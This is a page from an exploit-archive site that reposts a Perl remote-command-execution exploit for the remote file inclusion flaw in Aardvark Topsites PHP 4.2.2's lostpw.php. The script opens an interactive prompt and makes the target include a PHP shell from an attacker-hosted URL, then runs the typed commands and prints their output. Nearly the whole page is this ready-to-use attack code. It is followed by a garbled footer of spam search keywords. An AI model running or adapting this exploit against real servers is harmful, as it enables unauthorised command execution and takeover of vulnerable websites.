about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Aardvark Topsites PHP <= 4.2.2 (lostpw.php) Remote Include Exploit




2006-04-30 Aardvark Topsites PHP <= 4.2.2 (lostpw.php) Remote Include Exploit
Rated as : Moderate Risk

#!/usr/bin/perl
#
# Aardvark Topsites PHP <=4.2.2 Remote Command Execution Exploit
#
# Copyright (c) 2006 cijfer <cijfer@netti!fi>
# All rights reserved.
#
# never ctrl+c again.
# cijfer$ http://target.com/dir
# host changed to 'http://target.com/dir'
# cijfer$ 
#
# to set your PHP shell location:
# cijfer$ shell=http://my.shell.fi/phpshell.gif?&cmd=
# php shell set to 'http://my.shell.fi/phpshell.gif?&cmd='
# cijfer$
#
# $Id: cijfer-atpxpl.pl,v 0.1 2006/04/30 02:11:00 cijfer Exp $

use strict;
use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;

my($command,$verbose,$proxy,$shell,$host,$res);

$res = GetOptions("host=s" => \$host, "proxy=s"
=> \$proxy, "verbose+" => \$verbose);
&usage unless $host;

while()
{
	print color("green"), "cijfer\# ",
color("reset");
	chomp($command = <STDIN>);
	exit unless $command;
	if($command =~ m/^http:\/\/(.*)/g)
	{
		$host="http://".$1;
		print "host changed to '";
		print color("bold"), $host."'\n",
color("reset");
	}
	elsif($command =~ m/^shell=http:\/\/(.*)/g)
	{
		$shell="http://".$1;
		print "php shell set to '";
		print color("bold"), $shell."'\n",
color("reset");
	}
	else
	{
		&exploit($command,$host);
	}
}

sub usage
{
	print "Aardvark Topsites PHP <=4.2.2 Remote Command Execution
Exploit\n";
	print "usage: $0 -hpv\n\n";
	print "  -h, --host\t\tfull address of target (ex.
http://www.website.com/directory)\n";
	print "  -p, --proxy\t\tprovide an HTTP proxy (ex.
0.0.0.0:8080)\n";
	print "  -v, --verbose\t\tverbose mode (debug)\n\n";
	exit;
}

sub exploit
{
	my($command,$host) = @_;
	my($string,$execut,$recv,$sent,$out,$cij,@cij);

	$cij=LWP::UserAgent->new() or die;
	$cij->agent("Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:2.0)
Gecko/20060101");
	$cij->proxy("http",
"http://".$proxy."/") unless !$proxy;

	$string  = "%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F%3B%20";
	$string .= uri_escape(shift);
	$string .= "%3B%20%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F";

	$out=$cij->get($host."/sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=".$shell.$string);

	if($out->is_success)
	{
		@cij=split("_cijfer_",$out->content);
		print substr(@cij[1],1);
	}

	if($verbose)
	{
		$recv=length $out->content;
		print "Total received bytes: ".$recv."\n";
		$sent=length $command;
		print "Total sent bytes: ".$sent."\n";
	}
}
securitydot.net - 2006-04-30

Advertising

Copyright 2007, SecurityDot
Thu, 17 Dec 2009 09:19:22 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
sex maxcpm.inf php-nuke 2 www.0595ey ecomstatio dotsys.com ble for me www.sexo.c Momota xxx 1 sextv1.t vedio bp www.foxshu vidio sek Www.thresh www.proxoy 1 sextv1.t www.0595ey sex photo news for c maxcpm.inf zubin Sexsakila GET /galle 200 /compo OpenSSH_3. www.ltx8.c starzips.f www.yggzxx maxcpm.inf Www.pinkwo maxcpm.inf Wu-Ftpd posing sex malaysiase Dian GET /galle XML credit car china.tooc maxcpm.inf www.ahxypx 1.12.5 VidioPorn avast v4.7 maxcpm.inf Www.pinkwo www.youxi1 www.eclook shop576204 My sex